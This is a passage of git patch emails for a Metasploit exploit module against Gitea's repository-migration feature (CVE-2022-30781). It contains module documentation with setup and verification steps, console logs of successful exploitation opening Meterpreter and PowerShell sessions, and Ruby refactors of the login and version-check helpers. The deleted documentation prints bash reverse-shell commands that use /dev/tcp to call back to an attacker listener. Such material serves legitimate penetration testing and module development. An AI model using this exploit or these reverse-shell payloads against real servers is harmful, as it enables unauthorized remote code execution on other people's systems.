when :unix_cmd + when :unix_cmd, :win_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(background: true, delay: 1) From 95503be49a38bf7ea9affe8919e3d25e6dce1432 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Mon, 3 Oct 2022 19:57:25 +0700 Subject: [PATCH 20/31] Update documentation --- .../exploit/multi/http/gitea_git_fetch_rce.md | 229 ++++++++++++++++++ .../unix/webapp/gitea_git_fetch_rce.md | 177 -------------- 2 files changed, 229 insertions(+), 177 deletions(-) create mode 100644 documentation/modules/exploit/multi/http/gitea_git_fetch_rce.md delete mode 100644 documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md diff --git a/documentation/modules/exploit/multi/http/gitea_git_fetch_rce.md b/documentation/modules/exploit/multi/http/gitea_git_fetch_rce.md new file mode 100644 index 000000000000..98e9b73feb84 --- /dev/null +++ b/documentation/modules/exploit/multi/http/gitea_git_fetch_rce.md @@ -0,0 +1,229 @@ +## Vulnerable Application + +[Gitea](https://gitea.io/) is a painless self-hosted Git service community +managed lightweight code hosting solution written in Go. + +This module has been tested successfully on Gitea versions: +* 1.16.6 with Git 2.30.3 (Docker) +* 1.16.6 with Git 2.30.2 (Windows 10) + +### Description + +This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system. +This vulnerability affect Gitea before 1.16.7 version. + +The migration process require valid Git repository address so the module will +use the Gitea target itself by creating a temporary repository. This scenario +won't work with [Gitea default configuration](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini) +because `ALLOW_LOCALNETWORKS` is disabled. However, it will be ignored when +[ALLOWED_DOMAINS](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini#L2289) +is set, but it must be set to all domain with `*` for this scenario to work. + +There is an update in the Git-remote command line starting from version 2.34.0 +which refuses to update the branch pull request URL to the current path. + +``` +\testrepo.git>git version +git version 2.34.0.windows.1 +\testrepo.git>git remote add -f master ./ +Updating master +fatal: bad object refs/pull/0/head +error: ./ did not send all necessary objects + +error: Could not fetch master +``` +This causes the exploit to fail because Git-fetch will not executed if the +Git-remote fail. Details of these limitation are explained +[here](https://tttang.com/archive/1607/) + +### Source and Installers + +* [Source Code Repository](https://github.com/go-gitea/gitea/) +* [Installers](https://dl.gitea.io/gitea/1.16.6) +* [Docker](https://docs.gitea.io/en-us/install-with-docker/) + +### Docker installation +1. create `docker-compose.yml` file +``` +version: "3" + +networks: + gitea: + external: false + +services: + server: + image: gitea/gitea:1.16.6 + container_name: gitea + environment: + - USER_UID=1000 + - USER_GID=1000 + restart: always + networks: + - gitea + volumes: + - ./gitea:/data + - /etc/timezone:/etc/timezone:ro + - /etc/localtime:/etc/localtime:ro + ports: + - "3000:3000" + - "222:22" +``` +2. run `docker-compose up` +3. append `ALLOW_LOCALNETWORKS` in the configuration file. +``` +:~$ cat << EOF >> gitea/gitea/conf/app.ini +> [migrations] +> ALLOW_LOCALNETWORKS = true +> EOF +``` +4. Navigate to the localhost port 3000 and finish the installation. Note that + the first registered user will automatically become administrator so make + sure to set the administrator username and password upon installation. + +## Verification Steps + +1. Navigate to `/user/sign_up` and register normal user +2. Do: `use unix/webapp/gitea_git_fetch_rce` +3. Do: `set RHOSTS [ips]` +4. Do: `set LHOST [lhost]` +5. Do: `set USERNAME [username]` +6. Do: `set PASSWORD [password]` +7. Do: `run` +8. You should get a shell. + +## Options + +### USERNAME +The Gitea valid username to authenticate + +### USERNAME +The Gitea valid password to authenticate + +### HTTPDELAY +Number of seconds the web server will wait to deliver payload (default: 12) + +## Scenarios +### Successful exploitation of Gitea 1.16.6 on Docker + +``` +msf6 > use exploit/multi/http/gitea_git_fetch_rce +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2 +rhosts => 172.17.0.2 +msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1 +lhost => 172.17.0.1 +msf6 exploit(multi/http/gitea_git_fetch_rce) > set username msf +username => msf +msf6 exploit(multi/http/gitea_git_fetch_rce) > set password qwerty +password => qwerty +msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true +verbose => true +msf6 exploit(multi/http/gitea_git_fetch_rce) > run + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version detected: 1.16.6 +[*] Using URL: http://172.17.0.1:8080/ +[*] Server started. +[*] Adding hardcoded uri /api/v1/version +[*] Adding hardcoded uri /api/v1/settings/api +[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl +[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl/pulls +[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl/topics +[*] Creating repository "u8W2Lu24p" +[+] Repository created +[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgAB..."] +[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAA... +[*] Command Stager progress - 100.00% done (833/833 bytes) +[*] Migrating repository +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3020772 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:60744) at 2022-10-03 18:40:15 +0700 +[*] Server stopped. + +meterpreter > getuid +Server username: git +``` + +### Successful exploitation of Gitea 1.16.6 on Windows 10 + +``` +msf6 > use exploit/multi/http/gitea_git_fetch_rce +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/gitea_git_fetch_rce) > set target 2 +target => 2 +msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 192.168.0.21 +rhosts => 192.168.0.21 +msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 192.168.0.104 +lhost => 192.168.0.104 +msf6 exploit(multi/http/gitea_git_fetch_rce) > set username yo +username => yo +msf6 exploit(multi/http/gitea_git_fetch_rce) > set password password +password => password +msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true +verbose => true +msf6 exploit(multi/http/gitea_git_fetch_rce) > run + +[*] Started reverse TCP handler on 192.168.0.104:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version detected: 1.16.6 +[*] Using URL: http://192.168.0.104:8080/ +[*] Server started. +[*] Adding hardcoded uri /api/v1/version +[*] Adding hardcoded uri /api/v1/settings/api +[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5 +[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5/pulls +[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5/topics +[*] Creating repository "ExcLF0xBxG" +[+] Repository created +[*] Executing command: powershell.exe -nop -w hidden -noni -ep bypass "&([... +[*] Migrating repository +[*] Powershell session session 1 opened (192.168.0.104:4444 -> 192.168.0.21:49499) at 2022-10-03 19:03:38 +0700 +[*] Migrating repository +[*] Powershell session session 1 opened (192.168.0.104:4444 -> 192.168.0.21:49499) at 2022-10-03 19:03:38 +0700 +[*] Server stopped. + +PS C:\Users\msf\Downloads\data\gitea-repositories\yo\gu5em72atm5.git> whoami +msf +``` + +### Failed exploitation due to migration settings + +``` +msf6 > use exploit/multi/http/gitea_git_fetch_rce +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2 +rhosts => 172.17.0.2 +msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1 +lhost => 172.17.0.1 +msf6 exploit(multi/http/gitea_git_fetch_rce) > set username msf +username => msf +msf6 exploit(multi/http/gitea_git_fetch_rce) > set password qwerty +password => qwerty +msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true +verbose => true +msf6 exploit(multi/http/gitea_git_fetch_rce) > run + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version detected: 1.16.6 +[*] Using URL: http://172.17.0.1:8080/ +[*] Server started. +[*] Adding hardcoded uri /api/v1/version +[*] Adding hardcoded uri /api/v1/settings/api +[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w +[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w/pulls +[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w/topics +[*] Creating repository "P7EpcvA" +[+] Repository created +[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAA..."] +[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAAB... +[*] Command Stager progress - 100.00% done (833/833 bytes) +[*] Migrating repository +[*] Server stopped. +[-] Exploit aborted due to failure: unexpected-reply: Unable to migrate repo: +You can not import from disallowed hosts, please ask the admin to check +ALLOWED_DOMAINS/ALLOW_LOCALNETWORKS/BLOCKED_DOMAINS settings. +[*] Exploit completed, but no session was created. +``` diff --git a/documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md b/documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md deleted file mode 100644 index 6b0d0c4e5fef..000000000000 --- a/documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md +++ /dev/null @@ -1,177 +0,0 @@ -## Vulnerable Application - -[Gitea](https://gitea.io/) is a painless self-hosted Git service community -managed lightweight code hosting solution written in Go. - -This module has been tested successfully on Gitea versions: -* 1.16.6 (Docker) - -### Description - -This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system. -This vulnerability affect Gitea before 1.16.7 version. - -The module will automatically use `cmd/unix/reverse_bash` payload and unix -target. - -The migration process require valid Git repository address so the module will -use the Gitea target itself by creating a temporary repository. This scenario -won't work with [Gitea default configuration](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini) -because `ALLOW_LOCALNETWORKS` is disabled. However, it will be ignored when -[ALLOWED_DOMAINS](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini#L2289) -is set, but it must be set to all domain with `*` for this scenario to work. - -### Source and Installers - -* [Source Code Repository](https://github.com/go-gitea/gitea/) -* [Installers](https://dl.gitea.io/gitea/1.16.6) -* [Docker](https://docs.gitea.io/en-us/install-with-docker/) - -### Docker installation -1. create `docker-compose.yml` file -``` -version: "3" - -networks: - gitea: - external: false - -services: - server: - image: gitea/gitea:1.16.6 - container_name: gitea - environment: - - USER_UID=1000 - - USER_GID=1000 - restart: always - networks: - - gitea - volumes: - - ./gitea:/data - - /etc/timezone:/etc/timezone:ro - - /etc/localtime:/etc/localtime:ro - ports: - - "3000:3000" - - "222:22" -``` -2. run `docker-compose up` -3. append `ALLOW_LOCALNETWORKS` in the configuration file. -``` -:~$ cat << EOF >> gitea/gitea/conf/app.ini -> [migrations] -> ALLOW_LOCALNETWORKS = true -> EOF -``` -4. Navigate to the localhost port 3000 and finish the installation. Note that - the first registered user will automatically become administrator so make - sure to set the administrator username and password upon installation. - -## Verification Steps - -1. Navigate to `/user/sign_up` and register normal user -2. Do: `use unix/webapp/gitea_git_fetch_rce` -3. Do: `set RHOSTS [ips]` -4. Do: `set LHOST [lhost]` -5. Do: `set USERNAME [username]` -6. Do: `set PASSWORD [password]` -7. Do: `run` -8. You should get a shell. - -## Options - -### USERNAME -The Gitea valid username to authenticate - -### USERNAME -The Gitea valid password to authenticate - -### HTTPDELAY -Number of seconds the web server will wait to deliver payload (default: 12) - -## Scenarios -### Successful exploitation of Gitea 1.16.6 on Docker - -``` -msf6 > use unix/webapp/gitea_git_fetch_rce -[*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set RHOSTS 172.17.0.2 -RHOSTS => 172.17.0.2 -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set LHOST 172.17.0.1 -LHOST => 172.17.0.1 -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set USERNAME msf -USERNAME => msf -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set PASSWORD qwerty -PASSWORD => qwerty -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set VERBOSE true -VERBOSE => true -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > run - -[+] bash -c '0<&180-;exec 180<>/dev/tcp/172.17.0.1/4444;sh <&180 >&180 2>&180' -[*] Exploit running as background job 0. -[*] Exploit completed, but no session was created. -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > -[*] Started reverse TCP handler on 172.17.0.1:4444 -[*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Version detected: 1.16.6 -[*] Using URL: http://172.17.0.1:8080/msf/eqESXv4b -[*] Server started. -[*] Adding hardcoded uri /api/v1/version -[*] Adding hardcoded uri /api/v1/settings/api -[*] Adding hardcoded uri /api/v1/repos/msf/eqESXv4b -[*] Adding hardcoded uri /api/v1/repos/msf/eqESXv4b/pulls -[*] Adding hardcoded uri /api/v1/repos/msf/eqESXv4b/topics -[*] Creating repository "7vX49Gy2Rui5WHQ" -[+] Repository created -[*] Migrating repository -[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:50212) at 2022-09-15 18:51:31 +0700 -[*] Cleanup: removing repository "7vX49Gy2Rui5WHQ" -[*] Cleanup: removing repository "eqESXv4b" -[*] Server stopped. - -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > sessions 1 -[*] Starting interaction with 1... - -id -uid=1000(git) gid=1000(git) groups=1000(git),1000(git) -``` - -### Failed exploitation due to migration settings - -``` -msf6 > use unix/webapp/gitea_git_fetch_rce -[*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set RHOSTS 172.17.0.2 -RHOSTS => 172.17.0.2 -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set LHOST 172.17.0.1 -LHOST => 172.17.0.1 -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set USERNAME msf -USERNAME => msf -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set PASSWORD qwerty -PASSWORD => qwerty -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set VERBOSE true -VERBOSE => true -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > run - -[+] bash -c '0<&130-;exec 130<>/dev/tcp/172.17.0.1/4444;sh <&130 >&130 2>&130' -[*] Exploit running as background job 1. -[*] Exploit completed, but no session was created. -msf6 exploit(unix/webapp/gitea_git_fetch_rce) > -[*] Started reverse TCP handler on 172.17.0.1:4444 -[*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Version detected: 1.16.6 -[*] Using URL: http://172.17.0.1:8080/msf/XG1AhW3 -[*] Server started. -[*] Adding hardcoded uri /api/v1/version -[*] Adding hardcoded uri /api/v1/settings/api -[*] Adding hardcoded uri /api/v1/repos/msf/XG1AhW3 -[*] Adding hardcoded uri /api/v1/repos/msf/XG1AhW3/pulls -[*] Adding hardcoded uri /api/v1/repos/msf/XG1AhW3/topics -[*] Creating repository "7A4o5kYw3Y" -[+] Repository created -[*] Migrating repository -[*] Cleanup: removing repository "7A4o5kYw3Y" -[*] Server stopped. -[-] Exploit aborted due to failure: unexpected-reply: Unable to migrate repo: -You can not import from disallowed hosts, please ask the admin to check -ALLOWED_DOMAINS/ALLOW_LOCALNETWORKS/BLOCKED_DOMAINS settings. -``` From 540984804da3cc9fd709a9e66bd2cbfb61100fa1 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Tue, 8 Nov 2022 14:09:31 +0700 Subject: [PATCH 21/31] Apply suggestions from code review Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- lib/msf/core/exploit/remote/http/gitea/helpers.rb | 14 +++++--------- lib/msf/core/exploit/remote/http/gitea/login.rb | 8 +++++--- lib/msf/core/exploit/remote/http/gitea/version.rb | 13 +++++++------ modules/exploits/multi/http/gitea_git_fetch_rce.rb | 3 ++- 4 files changed, 19 insertions(+), 19 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/gitea/helpers.rb b/lib/msf/core/exploit/remote/http/gitea/helpers.rb index f149ffcbb2f1..d45ce2ee0799 100644 --- a/lib/msf/core/exploit/remote/http/gitea/helpers.rb +++ b/lib/msf/core/exploit/remote/http/gitea/helpers.rb @@ -3,7 +3,7 @@ module Msf::Exploit::Remote::HTTP::Gitea::Helpers # Helper methods are private and should not be called by modules - private + module_function # Returns CSRF token string for Gitea session # @@ -36,12 +36,11 @@ def gitea_get_service_type_uri(res) # @param csrf [String] Login csrf # @return [Hash] The post data for vars_post Parameter def gitea_helper_login_post_data(user, pass, csrf) - post_data = { + { 'user_name' => user, 'password' => pass, '_csrf' => csrf } - post_data end # Returns the POST data for a Gitea create repository request @@ -51,7 +50,7 @@ def gitea_helper_login_post_data(user, pass, csrf) # @param csrf [String] Login csrf # @return [Hash] The post data for vars_post Parameter def gitea_helper_repo_create_post_data(name, uid, csrf) - post_data = { + { 'uid' => uid, 'auto_init' => 'on', 'readme' => 'Default', @@ -60,7 +59,6 @@ def gitea_helper_repo_create_post_data(name, uid, csrf) 'default_branch' => 'master', '_csrf' => csrf } - post_data end # Returns the POST data for a Gitea remove repository request @@ -69,12 +67,11 @@ def gitea_helper_repo_create_post_data(name, uid, csrf) # @param csrf [String] Login csrf # @return [Hash] The post data for vars_post Parameter def gitea_helper_repo_remove_post_data(name, csrf) - post_data = { + { 'action' => 'delete', 'repo_name' => name, '_csrf' => csrf } - post_data end # Returns the POST data for a Gitea migrate repository request @@ -87,7 +84,7 @@ def gitea_helper_repo_remove_post_data(name, csrf) # @param csrf [String] Login csrf # @return [Hash] The post data for vars_post Parameter def gitea_helper_repo_migrate_post_data(name, uid, service, url, token, csrf) - post_data = { + { 'uid' => uid, 'service' => service, 'pull_requests' => 'on', @@ -96,6 +93,5 @@ def gitea_helper_repo_migrate_post_data(name, uid, service, url, token, csrf) 'auth_token' => token, 'clone_addr' => url } - post_data end end diff --git a/lib/msf/core/exploit/remote/http/gitea/login.rb b/lib/msf/core/exploit/remote/http/gitea/login.rb index 664227226b8d..c49a6e169d01 100644 --- a/lib/msf/core/exploit/remote/http/gitea/login.rb +++ b/lib/msf/core/exploit/remote/http/gitea/login.rb @@ -6,9 +6,11 @@ module Msf::Exploit::Remote::HTTP::Gitea::Login # @param user [String] Username # @param pass [String] Password # @param timeout [Integer] The maximum number of seconds to wait before the - # request times out + # request times out + # @raise [CsrfError] if the CSRF could not be retrieved + # @raise [AuthenticationError] if the authentication fails # @return [HttpCookie,AuthenticationError] the session cookies as a single - # string on successful login, raise AuthenticationError otherwise + # string on successful login def gitea_login(user, pass, timeout = 20) res = send_request_cgi({ 'uri' => gitea_url_login, @@ -21,7 +23,7 @@ def gitea_login(user, pass, timeout = 20) res = send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(gitea_url_login), + 'uri' => gitea_url_login, 'vars_post' => gitea_helper_login_post_data(user, pass, csrf), 'keep_cookies' => true ) diff --git a/lib/msf/core/exploit/remote/http/gitea/version.rb b/lib/msf/core/exploit/remote/http/gitea/version.rb index 78169968830e..dbd7d215753c 100644 --- a/lib/msf/core/exploit/remote/http/gitea/version.rb +++ b/lib/msf/core/exploit/remote/http/gitea/version.rb @@ -2,7 +2,7 @@ module Msf::Exploit::Remote::HTTP::Gitea::Version # Powered by Gitea Version - GITEA_VERSION_PATTERN = 'Gitea Version: (?[\da-zA-Z.]+)' + GITEA_VERSION_PATTERN = 'Gitea Version: (?[\da-zA-Z.]+)'.freeze # Extracts the Gitea version information from base path # @@ -10,11 +10,12 @@ module Msf::Exploit::Remote::HTTP::Gitea::Version # @return [String,nil] gitea version if found, nil otherwise def gitea_version(res = nil) # detect version from / - version = gitea_version_helper(normalize_uri( - target_uri.path), /#{GITEA_VERSION_PATTERN}/, res) - return version if version - - nil + version = gitea_version_helper( + normalize_uri(target_uri.path), + /#{GITEA_VERSION_PATTERN}/, + res + ) + return version end def gitea_version_helper(url, regex, res) diff --git a/modules/exploits/multi/http/gitea_git_fetch_rce.rb b/modules/exploits/multi/http/gitea_git_fetch_rce.rb index 8577be862767..d79fbc32c390 100644 --- a/modules/exploits/multi/http/gitea_git_fetch_rce.rb +++ b/modules/exploits/multi/http/gitea_git_fetch_rce.rb @@ -23,7 +23,8 @@ def initialize(info = {}) This vulnerability affect Gitea before 1.16.7 version. }, 'Author' => [ - 'wuhan005 & li4n0', # Original PoC + 'wuhan005', # Original PoC + 'li4n0', # Original PoC 'krastanoel' # MSF Module ], 'References' => [ From f0b67c8812acaebec499c256589db5220c0fff4f Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Tue, 8 Nov 2022 14:14:45 +0700 Subject: [PATCH 22/31] fix msftidy --- modules/exploits/multi/http/gitea_git_fetch_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/gitea_git_fetch_rce.rb b/modules/exploits/multi/http/gitea_git_fetch_rce.rb index d79fbc32c390..9ade33ca4373 100644 --- a/modules/exploits/multi/http/gitea_git_fetch_rce.rb +++ b/modules/exploits/multi/http/gitea_git_fetch_rce.rb @@ -25,7 +25,7 @@ def initialize(info = {}) 'Author' => [ 'wuhan005', # Original PoC 'li4n0', # Original PoC - 'krastanoel' # MSF Module + 'krastanoel' # MSF Module ], 'References' => [ ['CVE', '2022-30781'], From c980f4f9ee4599d5097909defac8a7c5d953f3fb Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Wed, 9 Nov 2022 00:27:12 +0700 Subject: [PATCH 23/31] add more custom error exception --- lib/msf/core/exploit/remote/http/gitea/error.rb | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/lib/msf/core/exploit/remote/http/gitea/error.rb b/lib/msf/core/exploit/remote/http/gitea/error.rb index d44c7fab0a1d..d066a244e6b7 100644 --- a/lib/msf/core/exploit/remote/http/gitea/error.rb +++ b/lib/msf/core/exploit/remote/http/gitea/error.rb @@ -30,4 +30,16 @@ def initialize(message) super(message: message) end end + + class UnknownError < WebError + def initialize(message) + super(message: message) + end + end + + class VersionError < WebError + def initialize + super(message: 'Unable to determine Gitea version') + end + end end From 52d867bbc7231dc190b250b906cd4a585dc74aed Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Wed, 9 Nov 2022 00:41:30 +0700 Subject: [PATCH 24/31] follow Ruby coding convetions - combine gitea_version into get_gitea_version for the check method - validate empty username --- .../core/exploit/remote/http/gitea/base.rb | 22 ++++++++++++------- .../multi/http/gitea_git_fetch_rce.rb | 21 ++++++++---------- 2 files changed, 23 insertions(+), 20 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/gitea/base.rb b/lib/msf/core/exploit/remote/http/gitea/base.rb index f6eb6e2d5500..08ebd31de81e 100644 --- a/lib/msf/core/exploit/remote/http/gitea/base.rb +++ b/lib/msf/core/exploit/remote/http/gitea/base.rb @@ -3,9 +3,9 @@ module Msf::Exploit::Remote::HTTP::Gitea::Base # Checks if the site is online and running gitea # - # @return [Rex::Proto::Http::Response,nil] the HTTP response if the site is - # online and running gitea, nil otherwise - def gitea_and_online? + # @return [String,nil] if the site is online and running gitea, nil + # otherwise + def get_gitea_version unless datastore['GITEACHECK'] vprint_status 'Skipping Gitea check...' return true @@ -20,11 +20,17 @@ def gitea_and_online? 'uri' => normalize_uri(target_uri.path) }) - return res if res && res.code == 200 && gitea_detect_regexes.any? { |r| res.get_cookies =~ r } + raise Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError.new('Check TARGETURI - Unexpected HTTP response code') if res&.code != 200 - return nil - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e - print_error("Error connecting to #{target_uri}: #{e}") - return nil + if gitea_detect_regexes.none? { |r| res.get_cookies =~ r } + raise Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError.new('No web server or gitea instance found') + end + + version = gitea_version(res) + raise Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError.new unless version + version + + rescue ::Rex::ConnectionError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + raise Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError.new('Could not connect to the web service') end end diff --git a/modules/exploits/multi/http/gitea_git_fetch_rce.rb b/modules/exploits/multi/http/gitea_git_fetch_rce.rb index 9ade33ca4373..585b85eda35d 100644 --- a/modules/exploits/multi/http/gitea_git_fetch_rce.rb +++ b/modules/exploits/multi/http/gitea_git_fetch_rce.rb @@ -92,24 +92,20 @@ def initialize(info = {}) end def check - res = gitea_and_online? - return CheckCode::Unknown('No web server or gitea instance found') unless res + return CheckCode::Safe('USERNAME can\'t be blank') if datastore['username'].blank? - v = gitea_version(res) - return CheckCode::Detected('Unable to determine Gitea version') unless v - - cookies = gitea_login(datastore['username'], datastore['password']) - cookies.each do |cookie| - cookie_jar.add(cookie) - end + v = get_gitea_version + gitea_login(datastore['username'], datastore['password']) if Rex::Version.new(v) <= Rex::Version.new('1.16.6') return CheckCode::Appears("Version detected: #{v}") end CheckCode::Safe("Version detected: #{v}") - rescue ::Rex::ConnectionError - return CheckCode::Unknown('Could not connect to the web service') + rescue Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError => e + return CheckCode::Unknown(e.message) + rescue Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError => e + return CheckCode::Detected(e.message) rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError, Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e return CheckCode::Safe(e.message) @@ -155,6 +151,7 @@ def execute_command(cmd, _opts = {}) def exploit unless datastore['AutoCheck'] + fail_with(Failure::BadConfig, 'USERNAME can\'t be blank') if datastore['username'].blank? cookies = gitea_login(datastore['username'], datastore['password']) cookies.each do |cookie| cookie_jar.add(cookie) @@ -179,7 +176,7 @@ def exploit end def repo_path(name) - "#{datastore['username'].presence || 'msf'}/#{name}" + "#{datastore['username']}/#{name}" end def on_request_uri(cli, req) From a50cca27e68e65aa1f756a45a20492b1fad1b72e Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Wed, 9 Nov 2022 00:48:23 +0700 Subject: [PATCH 25/31] remove cookie_jar manipulation --- lib/msf/core/exploit/remote/http/gitea/login.rb | 8 +++----- modules/exploits/multi/http/gitea_git_fetch_rce.rb | 5 +---- 2 files changed, 4 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/gitea/login.rb b/lib/msf/core/exploit/remote/http/gitea/login.rb index c49a6e169d01..ae3780bbc43b 100644 --- a/lib/msf/core/exploit/remote/http/gitea/login.rb +++ b/lib/msf/core/exploit/remote/http/gitea/login.rb @@ -9,8 +9,8 @@ module Msf::Exploit::Remote::HTTP::Gitea::Login # request times out # @raise [CsrfError] if the CSRF could not be retrieved # @raise [AuthenticationError] if the authentication fails - # @return [HttpCookie,AuthenticationError] the session cookies as a single - # string on successful login + # @return [Rex::Proto::Http::Response,AuthenticationError] the HTTP response + # on successful login, raise AuthenticationError otherwise def gitea_login(user, pass, timeout = 20) res = send_request_cgi({ 'uri' => gitea_url_login, @@ -30,9 +30,7 @@ def gitea_login(user, pass, timeout = 20) raise Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError.new if res&.code != 302 - cookies = cookie_jar.cookies - cookie_jar.clear store_valid_credential(user: user, private: pass) - return cookies + return res end end diff --git a/modules/exploits/multi/http/gitea_git_fetch_rce.rb b/modules/exploits/multi/http/gitea_git_fetch_rce.rb index 585b85eda35d..3f43e7d22029 100644 --- a/modules/exploits/multi/http/gitea_git_fetch_rce.rb +++ b/modules/exploits/multi/http/gitea_git_fetch_rce.rb @@ -152,10 +152,7 @@ def execute_command(cmd, _opts = {}) def exploit unless datastore['AutoCheck'] fail_with(Failure::BadConfig, 'USERNAME can\'t be blank') if datastore['username'].blank? - cookies = gitea_login(datastore['username'], datastore['password']) - cookies.each do |cookie| - cookie_jar.add(cookie) - end + gitea_login(datastore['username'], datastore['password']) end @repo_name = rand_text_alphanumeric(6..15) From bca5138fc85860a60149e4a107a5b168e26862f6 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Wed, 9 Nov 2022 01:42:27 +0700 Subject: [PATCH 26/31] Update module - move cleanup process to its own method and handle the response - remove timeout and http delay option - adjust target type location as code review suggestion --- .../multi/http/gitea_git_fetch_rce.rb | 41 +++++++++++-------- 1 file changed, 24 insertions(+), 17 deletions(-) diff --git a/modules/exploits/multi/http/gitea_git_fetch_rce.rb b/modules/exploits/multi/http/gitea_git_fetch_rce.rb index 3f43e7d22029..bb0539e01e8f 100644 --- a/modules/exploits/multi/http/gitea_git_fetch_rce.rb +++ b/modules/exploits/multi/http/gitea_git_fetch_rce.rb @@ -87,10 +87,23 @@ def initialize(info = {}) OptString.new('USERNAME', [true, 'Username to authenticate with']), OptString.new('PASSWORD', [true, 'Password to use']), OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']), - OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12]) ]) end + def cleanup + super + [@repo_name, @migrate_repo_name].each do |name| + res = gitea_remove_repo(repo_path(name)) + if res.nil? || res&.code == 200 + vprint_warning("Unable to remove repository '#{name}'") + elsif res&.code == 404 + vprint_warning("Repository '#{name}' not found, possibly already deleted") + else + vprint_status("Successfully cleanup repository '#{name}'") + end + end + end + def check return CheckCode::Safe('USERNAME 